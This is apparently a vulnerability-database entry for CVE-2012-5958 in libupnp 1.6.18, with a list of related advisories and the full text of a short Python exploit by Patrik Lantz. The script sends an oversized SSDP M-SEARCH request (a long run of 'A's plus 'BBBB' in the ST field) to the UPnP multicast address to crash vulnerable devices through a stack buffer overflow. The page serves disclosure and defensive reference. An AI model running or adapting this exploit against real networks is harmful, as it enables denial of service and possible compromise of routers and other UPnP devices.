libupnp 1.6.18 Denial Of Service

🗓️ 26 Nov 2020 00:00:00Reported by Patrik LantzType

packetstorm🔗 packetstormsecurity.com👁 364 Views

libupnp 1.6.18 Stack-based buffer overflow Do

Reporter	Title	Published	Views	Family All 62
0day.today	libupnp 1.6.18 - Stack-based buffer overflow Exploit	27 Nov 202000:00	–	zdt
FreeBSD	upnp -- multiple vulnerabilities	21 Nov 201200:00	–	freebsd
ATTACKERKB	UPnP unique_service_name Buffer Overflow	31 Jan 201300:00	–	attackerkb
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	6 Jul 201600:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities in the Debian GNU/Linux operating system that allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	6 Jul 201600:00	–	bdu_fstec
BDU FSTEC	Vulnerabilities of the Gentoo Linux operating system, which allow a remote attacker to compromise the confidentiality, integrity, and accessibility of protected information	28 Apr 201500:00	–	bdu_fstec
Circl	CVE-2012-5958	5 Feb 201300:00	–	circl
Check Point Advisories	Portable SDK for UPnP Devices libupnp Device Service Name Stack Buffer Overflow (CVE-2012-5958)	3 Mar 201300:00	–	checkpoint_advisories
CVE	CVE-2012-5958	31 Jan 201321:00	–	cve
Cvelist	CVE-2012-5958	31 Jan 201321:00	–	cvelist

`# Exploit Title: libupnp 1.6.18 - Stack-based buffer overflow (DoS)  
# Date: 2020-08-20  
# Exploit Author: Patrik Lantz  
# Vendor Homepage: https://pupnp.sourceforge.io/  
# Software Link: https://sourceforge.net/projects/pupnp/files/pupnp/libUPnP%201.6.6/libupnp-1.6.6.tar.bz2/download  
# Version: <= 1.6.6  
# Tested on: Linux  
# CVE : CVE-2012-5958  
  
import socket  
  
payload = "M-SEARCH * HTTP/1.1\r\nHOST: 239.255.255.250:1900\r\nST:uuid:schemas:device:"  
payload += "A"*324 + "BBBB"  
payload += ":urn:\r\nMX:2\r\nMAN:\"ssdp:discover\"\r\n\r\n"  
  
byte_message = bytes(payload)  
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)  
s.sendto(byte_message, ("239.255.255.250", 1900))  
  
`

26 Nov 2020 00:00Current

6.9Medium risk

Vulners AI Score6.9

EPSS0.87949